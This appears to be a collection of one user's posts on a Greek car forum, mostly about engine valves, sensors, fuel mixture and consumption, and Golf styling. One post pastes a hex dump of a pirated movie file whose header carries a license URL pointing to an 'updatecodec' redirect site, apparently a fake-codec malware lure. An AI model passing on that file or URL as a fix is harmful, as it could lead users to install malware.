giannispolo

σου εχει αναψει το check?

αυτο που λες ειναι το CKP sensor , ειναι πισω μεταξυ της μηχανης κ του κιβωτιου , μπορεις να το αλλαξεις μονος σου

http://www.youtube.com/watch?v=sNMf0vAnKh8

RESPECT!!!

Σκοπος μας ειναι να γεμισει ο κυλινδρος με οσο το δυνατον περισσοτερο αερα-καυσιμο, τι διαρκεια και βυθισμα θα εχει εξαρταται απο πολλες παραμετρους λογος διαμετρου/διαδρομης, σχεδιαση εισαγωγης, ταχυτητες, διαμετρος βαλβιδας εισαγωγης . κλπ. ελπιζω να βοηθησα

Στο παρακατω παραδειγμα εξηγουμε γιατι οι βαλβιδες ανοιγουν λιγο νωριτερα και κλεινουν αργοτερα απο τα ΑΝΣ και ΚΝΣ (Ανω και κατω νεκρα σημεια)

Στη φαση της εισαγωγης εαν ανοιγε η βαλβιδα τη στιγμη που το εμβολο εφτανε στο ΑΝΣ το μιγμα θα υπερνικουσε την αδρανεια του μονο οταν το εμβολο θα κινουταν προς το ΚΝΣ. Ο λογος που ανοιγει λοιπον νωριτερα ειναι να διευκολυνει την εισοδο του μιγματος . Για να αφησουμε τον απαραιτητο χρονο να γεμισει ο κυλινδρος επιβραδυνεται το κλεισιμο της βαλβιδας. Αναλογως γινεται και με την βαλβιδα εξαγωγης..Δηλαδη αυτη θα ανοιξει πριν το πιστονι φτασει εντελως στο ΚΝΣ.

Καταυτον τον τροπο η ταχεια εξαγωγη θα ευνοηθει κι απο μια εναπομεινουσα συμπληρωματικη πιεση. Φυσικα και εδω θα επιβραδυνουμε το κλεισιμο της βαλβιδας εξαγωγης για να διευκολυνθει η πληρης εξαγωγη των καυσαεριων.

Οι πιο συνηθισμενες βλαβες

Πρεπει να τονισουμε το γεγονος οτι οι <ασθενειες> των βαλβιδων δεν ειναι ουτε λιγες , ουτε ευκολες στη διαγνωση τους. Επειδη ομως ειναι οργανα τοσο σημαντικα για την καλη λειτουργια και την αποδοση της μηχανης, αξιζει ο κοπος να εμβαθυνουμε λιγο περισσοτερο στο θεμα αυτο και να δωσουμε μεγαλυτερη προσοχη στις πιο συνηθισμενες βλαβες

1. Βαλβιδα εξαγωγης καμενη

Μερικες φορες συμβαινει η μηχανη να μην αποδιδει πια οπως αλλοτε και με την πρωτη δυσκολη ανηφορια που συναντουμε -ιδιως οταν το αυτοκινητο ειναι υπερφορτωμενο-αντιλαμβανομαστε οτι <τραβαει> με το ζορι.

Μια απο τις πιο συχνες αιτιες αυτου του μειονεκτηματος, ειναι το καψιμο μιας βαλβιδας εξαγωγης. Στην περιπτωση αυτη εκτος εκτος απο την πτωση της αποδοσης του κινητηρα, εκδηλωνεται και στην σωληνα εξαγωγης ενα χαρακτηριστικο φυσημα.(τσιφ.τσιφ)

Αυτο σημαινει οτι η καυση δεν συγκρατειται καλα απο την βαλβιδα και περνα απευθειας στο συστημα εξαγωγης με διαφορετικη πιεση και θερμοκρασια αποτι πρεπει.

2.Βαλβιδα παραμορφωμενη

Μερικες φορες η υπερβολικη θερμοκρασια δεν προκαλει το καψιμο της βαλβιδας, αλλα προκαλει την παραμορφωση της, που εκδηλωνεται με διαφορους τροπους.

Εκτος του οτι δημιουργειται ενα ελαττωματικο <καθισμα> των βαλβιδων στις εδρες, η παραμορφωση σε ορισμενες περιπτωσεις προκαλει και την επιμηκυνση των στελεχων των βαλβιδων. Δηλαδη μακραινουν οι κορμοι.

Κατ'αυτο τον τροπο, εξουδετερωνονται τα ορια αντοχης και ελαστικοτητας των ωστηριων κι οι βαλβιδες παραμενουν συνεχως ανοικτες, με αμεση συνεπεια την κακη λειτουργια της μηχανης. Για το λογο αυτο, σε καθε τυπο αυτοκινητου προβλεπεται ενας ορισμενος τζογος των ωστηριων. Ειναι το λεγομενο διακενο

3.<Φαγωμενη> εδρα

Τα αερια στις υψηλες θερμοκρασιες ειναι δυνατον να προσβαλουν το υλικο των βαλβιδων και να τις καταστρεψουν.

Η κωνικη επιφανεια εδρασεως της βαλβιδας ειναι το σημειο εκεινο που συνηθως προσβαλλεται και φθειρεται περισσοτερο. Οταν σε μια βαλβιδα σχηματιζεται ενα ειδος εγκοπης (αυλακι) τοτε αυτο σημαινει η οτι υπαρχει υπερβολικη θερμοκρασια η οτι η κεφαλη δεν εδραζεται κανονικα.

4.Σπασιμο του στελεχους (κορμου)

Εαν τα ωστηρια δεν ειναι καλα ρυθμισμενα, τοτε η εισαγωγη της βαλβιδας στην βαση της μπορει να γινει με υπερβολικη δυσκολια (ζορι), πραγμα που συχνα προκαλει το σπασιμο του στελεχους της.

5.Βαλβιδα καμενη λογω αυταναφλεξης.

Συχνα η φθορα αυτης της βλαβης οφειλεται στη χρηση βενζινης που δεν διαθετει τον καταλληλο βαθμο οκτανιου για τον τυπο της μηχανης.

6.Παραμορφωση του εκκεντρου

Σε οσα αυτοκινητα υπαρχει καδενα κινησης αυτη τεινει μοιραια να επιμηκυνθει. Συνεπεια της επυμηκυνσεως ειναι η παραμορφωση η οποια τοσο περισσοτερο αυξανει οσο μεγαλυτερη ειναι η επιμηκυνση της καδενας, με αμεσο επακολουθο την βλαβη και την φθορα του εκκεντρου και των βαλβιδων.

εχω κατεβασει το kmplayer για να παιζω ταινιες. μχρι τωρα μου επαιζε ολες τις ταινιες, κατεβασα το MIB III σε format xvid αλλα δεν παιζει στο εν λογω προγραμμα , οταν το ανοιγω νμου πεταει αυτο , καμια ιδεα?

BINARY INFO

--------------------

FileName : Men in Black III 2012 DVDRip XviD-Magic.wmv

Data :

30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C 0& u f b l

86 1A 00 00 00 00 00 00 0D 00 00 00 01 02 A1 DC

AB 8C 47 A9 CF 11 8E E4 00 C0 0C 20 53 65 68 00 G Seh

00 00 00 00 00 00 C6 D0 1A DE 22 07 DF 44 AE 80 " D

ED 98 04 D3 1A 32 1A 86 03 00 00 00 00 00 40 45 2 @E

11 52 E0 46 C6 01 1C 00 00 00 00 00 00 00 00 87 R F

93 03 00 00 00 00 10 11 51 01 00 00 00 00 B8 0B Q

00 00 00 00 00 00 02 00 00 00 40 1F 00 00 40 1F @ @

00 00 3C D3 7A 00 14 E6 8A 29 22 26 17 4C B9 35 < z )"&L 5

DA E0 7E E9 28 9C 68 03 00 00 00 00 00 00 4C 03 ~ ( h L

00 00 FF FE 3C 00 57 00 52 00 4D 00 48 00 45 00 < W R M H E

41 00 44 00 45 00 52 00 20 00 76 00 65 00 72 00 A D E R v e r

73 00 69 00 6F 00 6E 00 3D 00 22 00 32 00 2E 00 s i o n = " 2 .

30 00 2E 00 30 00 2E 00 30 00 22 00 3E 00 3C 00 0 . 0 . 0 " > <

44 00 41 00 54 00 41 00 3E 00 3C 00 52 00 49 00 D A T A > < R I

44 00 3E 00 31 00 3C 00 2F 00 52 00 49 00 44 00 D > 1 < / R I D

3E 00 3C 00 43 00 49 00 44 00 3E 00 35 00 30 00 > < C I D > 5 0

30 00 3C 00 2F 00 43 00 49 00 44 00 3E 00 3C 00 0 < / C I D > <

4C 00 41 00 49 00 4E 00 46 00 4F 00 3E 00 68 00 L A I N F O > h

74 00 74 00 70 00 3A 00 2F 00 2F 00 75 00 70 00 t t p : / / u p

64 00 61 00 74 00 65 00 63 00 6F 00 64 00 65 00 d a t e c o d e

63 00 2E 00 69 00 6E 00 2F 00 72 00 65 00 64 00 c . i n / r e d

69 00 72 00 65 00 63 00 74 00 2E 00 70 00 68 00 i r e c t . p h

70 00 3F 00 69 00 64 00 3D 00 26 00 61 00 6D 00 p ? i d = & a m

70 00 3B 00 64 00 6C 00 67 00 78 00 3D 00 31 00 p ; d l g x = 1

30 00 30 00 30 00 26 00 61 00 6D 00 70 00 3B 00 0 0 0 & a m p ;

64 00 6C 00 67 00 79 00 3D 00 36 00 30 00 30 00 d l g y = 6 0 0

26 00 61 00 6D 00 70 00 3B 00 61 00 64 00 76 00 & a m p ; a d v

3D 00 30 00 3C 00 2F 00 4C 00 41 00 49 00 4E 00 = 0 < / L A I N

46 00 4F 00 3E 00 3C 00 4B 00 49 00 44 00 3E 00 F O > < K I D >

63 00 6D 00 62 00 69 00 37 00 4D 00 44 00 46 00 c m b i 7 M D F

49 00 45 00 53 00 38 00 2B 00 6A 00 6D 00 4F 00 I E S 8 + j m O

6F 00 50 00 43 00 7A 00 57 00 41 00 3D 00 3D 00 o P C z W A = =

3C 00 2F 00 4B 00 49 00 44 00 3E 00 3C 00 43 00 < / K I D > < C

48 00 45 00 43 00 4B 00 53 00 55 00 4D 00 3E 00 H E C K S U M >

21 00 58 00 48 00 33 00 37 00 65 00 36 00 49 00 ! X H 3 7 e 6 I

45 00 41 00 3D 00 3D 00 3C 00 2F 00 43 00 48 00 E A = = < / C H

45 00 43 00 4B 00 53 00 55 00 4D 00 3E 00 3C 00 E C K S U M > <

2F 00 44 00 41 00 54 00 41 00 3E 00 3C 00 53 00 / D A T A > < S

49 00 47 00 4E 00 41 00 54 00 55 00 52 00 45 00 I G N A T U R E

3E 00 3C 00 48 00 41 00 53 00 48 00 41 00 4C 00 > < H A S H A L

47 00 4F 00 52 00 49 00 54 00 48 00 4D 00 20 00 G O R I T H M

74 00 79 00 70 00 65 00 3D 00 22 00 53 00 48 00 t y p e = " S H

41 00 22 00 3E 00 3C 00 2F 00 48 00 41 00 53 00 A " > < / H A S

48 00 41 00 4C 00 47 00 4F 00 52 00 49 00 54 00 H A L G O R I T

48 00 4D 00 3E 00 3C 00 53 00 49 00 47 00 4E 00 H M > < S I G N

41 00 4C 00 47 00 4F 00 52 00 49 00 54 00 48 00 A L G O R I T H

4D 00 20 00 74 00 79 00 70 00 65 00 3D 00 22 00 M t y p e = "

9,5:1

ty

το μιγμα σου ειναι πλουσιο , ο εγκεφαλος στελνει σημα για περισσοτερο καυσιμο

Οταν αποσυνδεεις το φις ο εγκεφαλος παιρνει σημα οτι εχεις πλουσιο μιγμα και στελνει λιγοτερο καυσιμο (για να το κανει πιο "φτωχο") αποσο χρειζεται και ετσι σβηνει.Αρχικα θα [πεσουν οιστροφες και θα σβησει.

Στο ρελαντι παντα δουλευει με πλουσιο μιγμα.

ξερει καποιος τι συμπιεση έχει ο 1,8Τ με τα 180 και τα 210?

δεν εχω παλια τευχη car να το κοιταξω

πολυ ομορφο το γκολφακι σου

κρατα τις εργοστασιακες ζαντες,, οι bbs δεν του πανε

στον προφυλακτηρα στο κεντρο αστο γκρι, του παει καλυτερα

καλωσορισατε

δε θα σου χαλασει απλα μπορει να σου σκουριασει το βιδωμα.την ειχα παθει εγω που την εβγαζα στο γκολφ που χα πριν γιατι περνανε οι σαβουριαριδες και τσουπ.αντε γεια η κεραια

εγω εβαλα μια σταγονα κυανοακρυλικη στο σπειρωμα , αυτη που εχουν ειδη μοντελισμου.

και ησυχασα. την κεραια την πηρα απο ebay

τόσο πρέπει να είναι και του golf μου,

16αρες του gti 4

το ΝFS Porsche unleashed ήταν και ειναι το κορυφαίο για μενα,

όλη η ιστορία της Πορσε

μέσα , δεν απουσιάζω από TERRA PETRA

KEN BLOCK

απολαυστε το

εθεάθη ασημι 6v2 και βαμμένα lexus στη φιλαδέλφεια δεκελείας την Τετάρτη , ποιός ήταν?

:crazy: :crazy:

δες και αυτο, το μοντελο πολης citygo SKODA καμια σχεση με τα κορεατικα μπουρδες picanto και βλακειες. Θα πάρεις skoda με δεδομενα ολα τα συν του group VAG. Το εσωτερικο του ειναι πολυ ανωτερο απο KIA kai MIA. και μηδενικα τελη μονο 96γρ/CO2. αν εχεις υπομονη παρτο http://www.zougla.gr...id=0&aid=464880

βγαινει σε 2 εκδοσεις εαν δεν το γνωριζεις 60 ή 75 hp, 1.0lt

το smart ειναι ΠΑΝΑΚΡΙΒΟ για αυτα που προσφερει

το απολυτο V8 mid-enginedsupercar σε συγκριση με το καλυτερο στον πλανητη

ξερει καποιος ποσο παει δισκο-πλατω αλλαγη απέξω>? για ένα φίλο

μεσα και απο μενα

δες και το twinair της Fiat. Κάμια σχέση , στην οδήγηση δεν καταλαβαίνεις ότι είναι δικύλινδρο, τα 85 άλογα τα βγάζει σε όλο το φάσμα.

και πολύ οικονονομικό μονο 4,2lt

βελτιωμενη scaglietti απο τη DM motorsports

γεια σασ παιδια εδω και μια εβδομαδα που παρακολουθω την καταναλωση μου.. βλεπω τον δεικτη να κατεβενει αισθητα σε αποσταση 10-15χλμ....η καταναλωση στην οθονη (μεση)δειχνει 8,3.8,4 και αντε στην καλητερη να παει στο 7,6 δεν το παταω καθολου με 60-80 το ανωτερο και η καταλωση δειχνει 7,8 και πανω ειναι λογικο?

εντομεταξι σημερα προσεξα οτι στο ρελαντι ενω η καταλωση που γραφει στην οθονη (στιγμιαια) 0,6 οταν κοιταω την (μεση) ανεβενει χωρισ να πατησω το γκαζι πχ αν ειναι 8,3 ανεβενει μονη τησ και παει 8,4.....8,5.....8,6 χωρισ να παταω γκαζι....

το μονο που εχω κανει ειναι οτι εχω βαλει εναν ανταπτορα σκαστρασ,και ειχα αλαξει και ενα φιλτρο βενζινησ(το παλιο εκανε εναν εναν περιεργο θωριβο) οταν το αλαξα μου βαλανε φιλτρο με περισοτερα βαρ.....

αν μπορειτε βοηθηστε με...

καλα μη δινεις και πολυ βαση στην καταναλωση, έτσι και αλλίως αυτή είναι στιγμιαία καταναλωση. Οι μετρήσεις που κανεις στο γεμισμα μετρας και τα συνολικα΄χλμ και διαιρεις τα λιτρα με τα συνολικα χλμ επι 100.